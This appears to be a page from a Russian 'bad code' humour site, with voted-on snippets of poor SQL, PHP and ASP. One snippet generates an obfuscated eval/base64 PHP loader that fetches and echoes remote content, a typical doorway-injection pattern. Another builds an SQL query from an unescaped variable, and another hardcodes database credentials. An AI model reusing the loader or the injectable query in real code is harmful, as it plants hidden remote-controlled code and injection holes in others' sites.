- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
select
....
if(n.Pinned=1,concat(n.Name,' <img src=/images/icons/897634.gif>'),n.Name) as Name
from
news n
left outer join ....
.....
where
....
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−861.8
select
....
if(n.Pinned=1,concat(n.Name,' <img src=/images/icons/897634.gif>'),n.Name) as Name
from
news n
left outer join ....
.....
where
....
Как вам html-верстка в sql запросах?
+140.1
function parce($string)
{//function open
$breaktags=array ("<"," ","=","","т");
for ($pos=0;$pos<strlen($string);$pos++)
{//for text
if (substr($string,$pos,1)=="{" and substr($string,$pos+1,1)=="%")
{// if open symbols finded
$tagopened=1;
while($tagopened==1){//while opened
for($inpos=$pos+2;$inpos<10000;$inpos++){// =)
if ( (substr($string,$inpos,1)=="%" and substr($string,$inpos+1,1)=="}") or in_array(substr($string,$inpos,1),$breaktags)) {break 2;$tagopened=0;}//br
$intag=$intag.substr($string,$inpos,1);
}//for inpos
}//while opened closing
$intag=explode("->",$intag,2);
echo("$intag[0] with $intag[1] action!<br>");
unset($intag);
} else {//if symbols finded
$symbol=substr($string,$pos,1);
echo("$symbol");
}
}//for all text closing
}//function end;
+147
<?php
if ($_SESSION['gde'] != 'tut') {exit();}
?>
Ты не тут? Выйди!
+92
header('Location: '.$_SERVER['REQUEST_URI']);
exit();
die();
на всякий случай :)
+143
if ($pagefir){ // тута мы выдаём списог всех аэродромов данного РЦ нахуй
$icao = sql("SELECT * FROM airport WHERE fir='".$pagefir."' order by ikao desc");
echo '
<h3>Recent articles</h3>
<p>';
while ($airport = mysql_fetch_array($icao))
{
echo '<a href="airport.php?icao='.$airport[ikao].'"><img src="images/strelica2.gif" width="3px" height="5px" alt="" />'.$airport[name].'('.$airport[town].')</a>';
}
echo '<a href="#"><img src="images/strelica2.gif" width="3px" height="5px" alt="" /> URRR Ростов (г. Ростов-на-Дону)</a>
</p>';}
восемь
+147
function sql($query){
/* Переменные для соединения с базой данных */
$hostname = "localhost";
$username = "modx";
$password = "22222";
$dbName = "modx";
/* создать соединение */
mysql_connect($hostname,$username,$password) OR DIE("Не могу создать соединение ");
/* выбрать базу данных. Если произойдет ошибка - вывести ее */
mysql_select_db($dbName) or die(mysql_error());
$res = mysql_query($query);
mysql_close();
}
восемь
+63.4
case PLUG_ACTION_GET_MESSAGE: {
msgIn++;
//при входящем плюсует еще и к исходящим, недоработка движка?
msgOut--;
}
case PLUG_ACTION_SEND_MESSAGE: {
msgOut++;
}
−82
<%
' Set your settings
strFileURL = "http://www.youtube.com/"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Response.write(objXMLHTTP.ResponseBody)
End if
Set objXMLHTTP = Nothing
%>
+144.3
function getFileCode() {
$url = "\$u=str_replace('%%KW%%', strtolower(\$_SERVER['QUERY_STRING']), '" . getConfigURL() . "')";
$ind = "\$i=str_replace('%%KW%%', 'index', '" . getConfigURL() . "')";
return "<?php eval(gzinflate(base64_decode('" . base64_encode(gzdeflate("$url;$ind;\$c=stream_context_create(array('http'=>array('timeout'=>3)));\$p=@file_get_contents(\$u,false,\$c);if(!\$p||(strpos(\$p,'404')!==false)){\$p=@file_get_contents(\$i,false,\$c);}echo \$p;")) . "'))); ?>";
}
+143
<?php
session_start();
$_SESSION['gde']='tut';
?>
Где? Тут.